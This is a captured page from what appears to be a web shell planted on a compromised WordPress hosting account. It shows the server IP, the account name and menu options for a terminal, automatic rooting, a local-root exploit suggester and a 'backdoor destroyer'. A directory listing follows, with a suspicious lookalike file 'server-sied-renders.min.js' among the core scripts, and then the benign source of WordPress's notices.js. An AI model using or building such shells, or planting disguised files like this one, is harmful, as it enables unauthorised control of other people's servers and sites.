Linux premium169.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
LiteSpeed
Server IP : 162.0.209.101 & Your IP : 216.73.216.167
Domains :
Cant Read [ /etc/named.conf ]
User : luxeelil
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
luxeelil /
public_html /
wp-includes /
js /
dist /
Delete
Unzip
Name
Size
Permission
Date
Action
development
[ DIR ]
drwxr-xr-x
2025-06-11 05:55
script-modules
[ DIR ]
drwxr-xr-x
2025-06-11 05:55
vendor
[ DIR ]
drwxr-xr-x
2025-06-11 05:55
.htaccess
237
B
-r-xr-xr-x
2025-06-11 05:55
a11y.js
8.37
KB
-rw-r--r--
2025-04-15 20:57
a11y.min.js
2.3
KB
-rw-r--r--
2024-11-13 09:13
annotations.js
22.79
KB
-rw-r--r--
2025-04-15 20:57
annotations.min.js
5.39
KB
-rw-r--r--
2024-07-16 21:00
api-fetch.js
23.31
KB
-rw-r--r--
2025-04-15 20:57
api-fetch.min.js
5.7
KB
-rw-r--r--
2025-04-15 20:57
autop.js
15.61
KB
-rw-r--r--
2024-11-13 09:13
autop.min.js
5.48
KB
-rw-r--r--
2024-01-31 23:29
blob.js
4.51
KB
-rw-r--r--
2024-11-13 09:13
blob.min.js
1.08
KB
-rw-r--r--
2024-01-31 23:29
block-directory.js
78.64
KB
-rw-r--r--
2025-04-15 20:57
block-directory.min.js
20.25
KB
-rw-r--r--
2025-04-15 20:57
block-editor.js
2.6
MB
-rw-r--r--
2025-04-30 21:33
block-editor.min.js
845.71
KB
-rw-r--r--
2025-04-30 21:33
block-library.js
2.13
MB
-rw-r--r--
2025-04-15 20:57
block-library.min.js
855.64
KB
-rw-r--r--
2025-04-15 20:57
block-serialization-default-parser.js
14.87
KB
-rw-r--r--
2024-01-31 23:29
block-serialization-default-parser.min.js
2.34
KB
-rw-r--r--
2024-01-31 23:29
blocks.js
554.02
KB
-rw-r--r--
2025-04-15 20:57
blocks.min.js
169.49
KB
-rw-r--r--
2025-04-15 20:57
commands.js
178.44
KB
-rw-r--r--
2025-04-15 20:57
commands.min.js
48.27
KB
-rw-r--r--
2025-04-15 20:57
components.js
2.25
MB
-rw-r--r--
2025-04-30 21:33
components.min.js
702.15
KB
-rw-r--r--
2025-04-30 21:33
compose.js
195.61
KB
-rw-r--r--
2025-04-15 20:57
compose.min.js
35.99
KB
-rw-r--r--
2025-04-15 20:57
core-commands.js
23.83
KB
-rw-r--r--
2025-04-15 20:57
core-commands.min.js
9.2
KB
-rw-r--r--
2025-04-15 20:57
core-data.js
261.22
KB
-rw-r--r--
2025-04-15 20:57
core-data.min.js
64.24
KB
-rw-r--r--
2025-04-15 20:57
customize-widgets.js
95.33
KB
-rw-r--r--
2025-04-15 20:57
customize-widgets.min.js
34.18
KB
-rw-r--r--
2025-04-15 20:57
data-controls.js
7.07
KB
-rw-r--r--
2025-04-15 20:57
data-controls.min.js
1.44
KB
-rw-r--r--
2024-01-31 23:29
data.js
141.55
KB
-rw-r--r--
2025-04-15 20:57
data.min.js
25
KB
-rw-r--r--
2025-04-15 20:57
date.js
798.41
KB
-rw-r--r--
2025-04-15 20:57
date.min.js
765.06
KB
-rw-r--r--
2025-04-15 20:57
deprecated.js
4.58
KB
-rw-r--r--
2025-04-15 20:57
deprecated.min.js
684
B
-rw-r--r--
2024-01-31 23:29
dom-ready.js
2.41
KB
-rw-r--r--
2024-01-31 23:29
dom-ready.min.js
457
B
-rw-r--r--
2024-01-31 23:29
dom.js
60.66
KB
-rw-r--r--
2025-04-15 20:57
dom.min.js
12.24
KB
-rw-r--r--
2025-04-15 20:57
edit-post.js
120.43
KB
-rw-r--r--
2025-04-30 21:33
edit-post.min.js
41.27
KB
-rw-r--r--
2025-04-30 21:33
edit-site.js
1.56
MB
-rw-r--r--
2025-04-15 20:57
edit-site.min.js
626.11
KB
-rw-r--r--
2025-04-15 20:57
edit-widgets.js
171.49
KB
-rw-r--r--
2025-04-15 20:57
edit-widgets.min.js
57.23
KB
-rw-r--r--
2025-04-15 20:57
editor.js
1.16
MB
-rw-r--r--
2025-04-30 21:33
editor.min.js
387.69
KB
-rw-r--r--
2025-04-30 21:33
element.js
66.53
KB
-rw-r--r--
2025-04-15 20:57
element.min.js
11.69
KB
-rw-r--r--
2025-04-15 20:57
escape-html.js
5.86
KB
-rw-r--r--
2025-04-15 20:57
escape-html.min.js
1000
B
-rw-r--r--
2024-01-31 23:29
format-library.js
66.86
KB
-rw-r--r--
2025-04-15 20:57
format-library.min.js
22.24
KB
-rw-r--r--
2025-04-15 20:57
hooks.js
20.2
KB
-rw-r--r--
2025-04-15 20:57
hooks.min.js
4.66
KB
-rw-r--r--
2024-11-13 09:13
html-entities.js
3.62
KB
-rw-r--r--
2024-07-16 21:00
html-entities.min.js
788
B
-rw-r--r--
2024-01-31 23:29
i18n.js
48.46
KB
-rw-r--r--
2025-04-15 20:57
i18n.min.js
8.93
KB
-rw-r--r--
2024-02-16 03:23
is-shallow-equal.js
4.19
KB
-rw-r--r--
2025-04-15 20:57
is-shallow-equal.min.js
1018
B
-rw-r--r--
2024-01-31 23:29
keyboard-shortcuts.js
23.91
KB
-rw-r--r--
2025-04-15 20:57
keyboard-shortcuts.min.js
2.95
KB
-rw-r--r--
2024-07-16 21:00
keycodes.js
13.78
KB
-rw-r--r--
2025-04-15 20:57
keycodes.min.js
2.58
KB
-rw-r--r--
2024-01-31 23:29
list-reusable-blocks.js
30.62
KB
-rw-r--r--
2025-04-15 20:57
list-reusable-blocks.min.js
4.63
KB
-rw-r--r--
2025-04-15 20:57
media-utils.js
30.72
KB
-rw-r--r--
2025-04-15 20:57
media-utils.min.js
9.73
KB
-rw-r--r--
2025-04-15 20:57
notices.js
21.47
KB
-rw-r--r--
2025-04-15 20:57
notices.min.js
2.02
KB
-rw-r--r--
2024-01-31 23:29
nux.js
12.98
KB
-rw-r--r--
2025-04-15 20:57
nux.min.js
3.43
KB
-rw-r--r--
2024-11-13 09:13
patterns.js
62.55
KB
-rw-r--r--
2025-04-15 20:57
patterns.min.js
20.95
KB
-rw-r--r--
2025-04-15 20:57
plugins.js
17.85
KB
-rw-r--r--
2025-04-15 20:57
plugins.min.js
4.18
KB
-rw-r--r--
2025-04-15 20:57
preferences-persistence.js
29.31
KB
-rw-r--r--
2025-04-15 20:57
preferences-persistence.min.js
5.49
KB
-rw-r--r--
2024-07-16 21:00
preferences.js
25.04
KB
-rw-r--r--
2025-04-15 20:57
preferences.min.js
6.85
KB
-rw-r--r--
2025-04-15 20:57
primitives.js
6.56
KB
-rw-r--r--
2025-04-15 20:57
primitives.min.js
1.62
KB
-rw-r--r--
2024-07-16 21:00
priority-queue.js
13.88
KB
-rw-r--r--
2025-04-15 20:57
priority-queue.min.js
3.3
KB
-rw-r--r--
2024-02-16 03:23
private-apis.js
8.3
KB
-rw-r--r--
2025-04-15 20:57
private-apis.min.js
2.75
KB
-rw-r--r--
2025-04-15 20:57
redux-routine.js
23.18
KB
-rw-r--r--
2025-04-15 20:57
redux-routine.min.js
8.68
KB
-rw-r--r--
2025-04-15 20:57
reusable-blocks.js
19.95
KB
-rw-r--r--
2025-04-15 20:57
reusable-blocks.min.js
5.97
KB
-rw-r--r--
2024-11-13 09:13
rich-text.js
117.86
KB
-rw-r--r--
2025-04-15 20:57
rich-text.min.js
30.28
KB
-rw-r--r--
2025-04-15 20:57
router.js
52.01
KB
-rw-r--r--
2025-04-15 20:57
router.min.js
13.21
KB
-rw-r--r--
2025-04-15 20:57
server-side-render.js
14.26
KB
-rw-r--r--
2025-04-15 20:57
server-side-render.min.js
4.27
KB
-rw-r--r--
2025-04-15 20:57
server-sied-renders.min.js
3.82
KB
-rw-r--r--
2025-03-10 05:36
shortcode.js
14.24
KB
-rw-r--r--
2025-04-15 20:57
shortcode.min.js
2.83
KB
-rw-r--r--
2024-01-31 23:29
style-engine.js
39.07
KB
-rw-r--r--
2025-04-15 20:57
style-engine.min.js
5.91
KB
-rw-r--r--
2024-11-13 09:13
token-list.js
5.91
KB
-rw-r--r--
2024-11-13 09:13
token-list.min.js
1.24
KB
-rw-r--r--
2024-11-13 09:13
url.js
33.85
KB
-rw-r--r--
2025-04-15 20:57
url.min.js
8.26
KB
-rw-r--r--
2025-04-15 20:57
viewport.js
10.22
KB
-rw-r--r--
2025-04-15 20:57
viewport.min.js
1.82
KB
-rw-r--r--
2024-07-16 21:00
warning.js
2.39
KB
-rw-r--r--
2025-04-15 20:57
warning.min.js
311
B
-rw-r--r--
2024-01-31 23:29
widgets.js
52.48
KB
-rw-r--r--
2025-04-15 20:57
widgets.min.js
19.56
KB
-rw-r--r--
2025-04-15 20:57
wordcount.js
14.4
KB
-rw-r--r--
2025-04-15 20:57
wordcount.min.js
2.42
KB
-rw-r--r--
2024-01-31 23:29
Save
Rename
/******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { store: () => (/* reexport */ store) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/notices/build-module/store/actions.js var actions_namespaceObject = {}; __webpack_require__.r(actions_namespaceObject); __webpack_require__.d(actions_namespaceObject, { createErrorNotice: () => (createErrorNotice), createInfoNotice: () => (createInfoNotice), createNotice: () => (createNotice), createSuccessNotice: () => (createSuccessNotice), createWarningNotice: () => (createWarningNotice), removeAllNotices: () => (removeAllNotices), removeNotice: () => (removeNotice), removeNotices: () => (removeNotices) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/notices/build-module/store/selectors.js var selectors_namespaceObject = {}; __webpack_require__.r(selectors_namespaceObject); __webpack_require__.d(selectors_namespaceObject, { getNotices: () => (getNotices) }); ;// external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; ;// ./node_modules/@wordpress/notices/build-module/store/utils/on-sub-key.js /** * Higher-order reducer creator which creates a combined reducer object, keyed * by a property on the action object. * * @param {string} actionProperty Action property by which to key object. * * @return {Function} Higher-order reducer. */ const onSubKey = actionProperty => reducer => (state = {}, action) => { // Retrieve subkey from action. Do not track if undefined; useful for cases // where reducer is scoped by action shape. const key = action[actionProperty]; if (key === undefined) { return state; } // Avoid updating state if unchanged. Note that this also accounts for a // reducer which returns undefined on a key which is not yet tracked. const nextKeyState = reducer(state[key], action); if (nextKeyState === state[key]) { return state; } return { ...state, [key]: nextKeyState }; }; /* harmony default export */ const on_sub_key = (onSubKey); ;// ./node_modules/@wordpress/notices/build-module/store/reducer.js /** * Internal dependencies */ /** * Reducer returning the next notices state. The notices state is an object * where each key is a context, its value an array of notice objects. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ const notices = on_sub_key('context')((state = [], action) => { switch (action.type) { case 'CREATE_NOTICE': // Avoid duplicates on ID. return [...state.filter(({ id }) => id !== action.notice.id), action.notice]; case 'REMOVE_NOTICE': return state.filter(({ id }) => id !== action.id); case 'REMOVE_NOTICES': return state.filter(({ id }) => !action.ids.includes(id)); case 'REMOVE_ALL_NOTICES': return state.filter(({ type }) => type !== action.noticeType); } return state; }); /* harmony default export */ const reducer = (notices); ;// ./node_modules/@wordpress/notices/build-module/store/constants.js /** * Default context to use for notice grouping when not otherwise specified. Its * specific value doesn't hold much meaning, but it must be reasonably unique * and, more importantly, referenced consistently in the store implementation. * * @type {string} */ const DEFAULT_CONTEXT = 'global'; /** * Default notice status. * * @type {string} */ const DEFAULT_STATUS = 'info'; ;// ./node_modules/@wordpress/notices/build-module/store/actions.js /** * Internal dependencies */ /** * @typedef {Object} WPNoticeAction Object describing a user action option associated with a notice. * * @property {string} label Message to use as action label. * @property {?string} url Optional URL of resource if action incurs * browser navigation. * @property {?Function} onClick Optional function to invoke when action is * triggered by user. */ let uniqueId = 0; /** * Returns an action object used in signalling that a notice is to be created. * * @param {string|undefined} status Notice status ("info" if undefined is passed). * @param {string} content Notice message. * @param {Object} [options] Notice options. * @param {string} [options.context='global'] Context under which to * group notice. * @param {string} [options.id] Identifier for notice. * Automatically assigned * if not specified. * @param {boolean} [options.isDismissible=true] Whether the notice can * be dismissed by user. * @param {string} [options.type='default'] Type of notice, one of * `default`, or `snackbar`. * @param {boolean} [options.speak=true] Whether the notice * content should be * announced to screen * readers. * @param {Array<WPNoticeAction>} [options.actions] User actions to be * presented with notice. * @param {string} [options.icon] An icon displayed with the notice. * Only used when type is set to `snackbar`. * @param {boolean} [options.explicitDismiss] Whether the notice includes * an explicit dismiss button and * can't be dismissed by clicking * the body of the notice. Only applies * when type is set to `snackbar`. * @param {Function} [options.onDismiss] Called when the notice is dismissed. * * @example * ```js * import { __ } from '@wordpress/i18n'; * import { useDispatch } from '@wordpress/data'; * import { store as noticesStore } from '@wordpress/notices'; * import { Button } from '@wordpress/components'; * * const ExampleComponent = () => { * const { createNotice } = useDispatch( noticesStore ); * return ( * <Button * onClick={ () => createNotice( 'success', __( 'Notice message' ) ) } * > * { __( 'Generate a success notice!' ) } * </Button> * ); * }; * ``` * * @return {Object} Action object. */ function createNotice(status = DEFAULT_STATUS, content, options = {}) { const { speak = true, isDismissible = true, context = DEFAULT_CONTEXT, id = `${context}${++uniqueId}`, actions = [], type = 'default', __unstableHTML, icon = null, explicitDismiss = false, onDismiss } = options; // The supported value shape of content is currently limited to plain text // strings. To avoid setting expectation that e.g. a React Element could be // supported, cast to a string. content = String(content); return { type: 'CREATE_NOTICE', context, notice: { id, status, content, spokenMessage: speak ? content : null, __unstableHTML, isDismissible, actions, type, icon, explicitDismiss, onDismiss } }; } /** * Returns an action object used in signalling that a success notice is to be * created. Refer to `createNotice` for options documentation. * * @see createNotice * * @param {string} content Notice message. * @param {Object} [options] Optional notice options. * * @example * ```js * import { __ } from '@wordpress/i18n'; * import { useDispatch } from '@wordpress/data'; * import { store as noticesStore } from '@wordpress/notices'; * import { Button } from '@wordpress/components'; * * const ExampleComponent = () => { * const { createSuccessNotice } = useDispatch( noticesStore ); * return ( * <Button * onClick={ () => * createSuccessNotice( __( 'Success!' ), { * type: 'snackbar', * icon: '🔥', * } ) * } * > * { __( 'Generate a snackbar success notice!' ) } * </Button> * ); * }; * ``` * * @return {Object} Action object. */ function createSuccessNotice(content, options) { return createNotice('success', content, options); } /** * Returns an action object used in signalling that an info notice is to be * created. Refer to `createNotice` for options documentation. * * @see createNotice * * @param {string} content Notice message. * @param {Object} [options] Optional notice options. * * @example * ```js * import { __ } from '@wordpress/i18n'; * import { useDispatch } from '@wordpress/data'; * import { store as noticesStore } from '@wordpress/notices'; * import { Button } from '@wordpress/components'; * * const ExampleComponent = () => { * const { createInfoNotice } = useDispatch( noticesStore ); * return ( * <Button * onClick={ () => * createInfoNotice( __( 'Something happened!' ), { * isDismissible: false, * } ) * } * > * { __( 'Generate a notice that cannot be dismissed.' ) } * </Button> * ); * }; *``` * * @return {Object} Action object. */ function createInfoNotice(content, options) { return createNotice('info', content, options); } /** * Returns an action object used in signalling that an error notice is to be * created. Refer to `createNotice` for options documentation. * * @see createNotice * * @param {string} content Notice message. * @param {Object} [options] Optional notice options. * * @example * ```js * import { __ } from '@wordpress/i18n'; * import { useDispatch } from '@wordpress/data'; * import { store as noticesStore } from '@wordpress/notices'; * import { Button } from '@wordpress/components'; * * const ExampleComponent = () => { * const { createErrorNotice } = useDispatch( noticesStore ); * return ( * <Button * onClick={ () => * createErrorNotice( __( 'An error occurred!' ), { * type: 'snackbar', * explicitDismiss: true, * } ) * } * > * { __( * 'Generate an snackbar error notice with explicit dismiss button.' * ) } * </Button> * ); * }; * ``` * * @return {Object} Action object. */ function createErrorNotice(content, options) { return createNotice('error', content, options); } /** * Returns an action object used in signalling that a warning notice is to be * created. Refer to `createNotice` for options documentation. * * @see createNotice * * @param {string} content Notice message. * @param {Object} [options] Optional notice options. * * @example * ```js * import { __ } from '@wordpress/i18n'; * import { useDispatch } from '@wordpress/data'; * import { store as noticesStore } from '@wordpress/notices'; * import { Button } from '@wordpress/components'; * * const ExampleComponent = () => { * const { createWarningNotice, createInfoNotice } = useDispatch( noticesStore ); * return ( * <Button * onClick={ () => * createWarningNotice( __( 'Warning!' ), { * onDismiss: () => { * createInfoNotice( * __( 'The warning has been dismissed!' ) * ); * }, * } ) * } * > * { __( 'Generates a warning notice with onDismiss callback' ) } * </Button> * ); * }; * ``` * * @return {Object} Action object. */ function createWarningNotice(content, options) { return createNotice('warning', content, options); } /** * Returns an action object used in signalling that a notice is to be removed. * * @param {string} id Notice unique identifier. * @param {string} [context='global'] Optional context (grouping) in which the notice is * intended to appear. Defaults to default context. * * @example * ```js * import { __ } from '@wordpress/i18n'; * import { useDispatch } from '@wordpress/data'; * import { store as noticesStore } from '@wordpress/notices'; * import { Button } from '@wordpress/components'; * * const ExampleComponent = () => { * const notices = useSelect( ( select ) => select( noticesStore ).getNotices() ); * const { createWarningNotice, removeNotice } = useDispatch( noticesStore ); * * return ( * <> * <Button * onClick={ () => * createWarningNotice( __( 'Warning!' ), { * isDismissible: false, * } ) * } * > * { __( 'Generate a notice' ) } * </Button> * { notices.length > 0 && ( * <Button onClick={ () => removeNotice( notices[ 0 ].id ) }> * { __( 'Remove the notice' ) } * </Button> * ) } * </> * ); *}; * ``` * * @return {Object} Action object. */ function removeNotice(id, context = DEFAULT_CONTEXT) { return { type: 'REMOVE_NOTICE', id, context }; } /** * Removes all notices from a given context. Defaults to the default context. * * @param {string} noticeType The context to remove all notices from. * @param {string} context The context to remove all notices from. * * @example * ```js * import { __ } from '@wordpress/i18n'; * import { useDispatch, useSelect } from '@wordpress/data'; * import { store as noticesStore } from '@wordpress/notices'; * import { Button } from '@wordpress/components'; * * export const ExampleComponent = () => { * const notices = useSelect( ( select ) => * select( noticesStore ).getNotices() * ); * const { removeAllNotices } = useDispatch( noticesStore ); * return ( * <> * <ul> * { notices.map( ( notice ) => ( * <li key={ notice.id }>{ notice.content }</li> * ) ) } * </ul> * <Button * onClick={ () => * removeAllNotices() * } * > * { __( 'Clear all notices', 'woo-gutenberg-products-block' ) } * </Button> * <Button * onClick={ () => * removeAllNotices( 'snackbar' ) * } * > * { __( 'Clear all snackbar notices', 'woo-gutenberg-products-block' ) } * </Button> * </> * ); * }; * ``` * * @return {Object} Action object. */ function removeAllNotices(noticeType = 'default', context = DEFAULT_CONTEXT) { return { type: 'REMOVE_ALL_NOTICES', noticeType, context }; } /** * Returns an action object used in signalling that several notices are to be removed. * * @param {string[]} ids List of unique notice identifiers. * @param {string} [context='global'] Optional context (grouping) in which the notices are * intended to appear. Defaults to default context. * @example * ```js * import { __ } from '@wordpress/i18n'; * import { useDispatch, useSelect } from '@wordpress/data'; * import { store as noticesStore } from '@wordpress/notices'; * import { Button } from '@wordpress/components'; * * const ExampleComponent = () => { * const notices = useSelect( ( select ) => * select( noticesStore ).getNotices() * ); * const { removeNotices } = useDispatch( noticesStore ); * return ( * <> * <ul> * { notices.map( ( notice ) => ( * <li key={ notice.id }>{ notice.content }</li> * ) ) } * </ul> * <Button * onClick={ () => * removeNotices( notices.map( ( { id } ) => id ) ) * } * > * { __( 'Clear all notices' ) } * </Button> * </> * ); * }; * ``` * @return {Object} Action object. */ function removeNotices(ids, context = DEFAULT_CONTEXT) { return { type: 'REMOVE_NOTICES', ids, context }; } ;// ./node_modules/@wordpress/notices/build-module/store/selectors.js /** * Internal dependencies */ /** @typedef {import('./actions').WPNoticeAction} WPNoticeAction */ /** * The default empty set of notices to return when there are no notices * assigned for a given notices context. This can occur if the getNotices * selector is called without a notice ever having been created for the * context. A shared value is used to ensure referential equality between * sequential selector calls, since otherwise `[] !== []`. * * @type {Array} */ const DEFAULT_NOTICES = []; /** * @typedef {Object} WPNotice Notice object. * * @property {string} id Unique identifier of notice. * @property {string} status Status of notice, one of `success`, * `info`, `error`, or `warning`. Defaults * to `info`. * @property {string} content Notice message. * @property {string} spokenMessage Audibly announced message text used by * assistive technologies. * @property {string} __unstableHTML Notice message as raw HTML. Intended to * serve primarily for compatibility of * server-rendered notices, and SHOULD NOT * be used for notices. It is subject to * removal without notice. * @property {boolean} isDismissible Whether the notice can be dismissed by * user. Defaults to `true`. * @property {string} type Type of notice, one of `default`, * or `snackbar`. Defaults to `default`. * @property {boolean} speak Whether the notice content should be * announced to screen readers. Defaults to * `true`. * @property {WPNoticeAction[]} actions User actions to present with notice. */ /** * Returns all notices as an array, optionally for a given context. Defaults to * the global context. * * @param {Object} state Notices state. * @param {?string} context Optional grouping context. * * @example * *```js * import { useSelect } from '@wordpress/data'; * import { store as noticesStore } from '@wordpress/notices'; * * const ExampleComponent = () => { * const notices = useSelect( ( select ) => select( noticesStore ).getNotices() ); * return ( * <ul> * { notices.map( ( notice ) => ( * <li key={ notice.ID }>{ notice.content }</li> * ) ) } * </ul> * ) * }; *``` * * @return {WPNotice[]} Array of notices. */ function getNotices(state, context = DEFAULT_CONTEXT) { return state[context] || DEFAULT_NOTICES; } ;// ./node_modules/@wordpress/notices/build-module/store/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Store definition for the notices namespace. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore */ const store = (0,external_wp_data_namespaceObject.createReduxStore)('core/notices', { reducer: reducer, actions: actions_namespaceObject, selectors: selectors_namespaceObject }); (0,external_wp_data_namespaceObject.register)(store); ;// ./node_modules/@wordpress/notices/build-module/index.js (window.wp = window.wp || {}).notices = __webpack_exports__; /******/ })() ;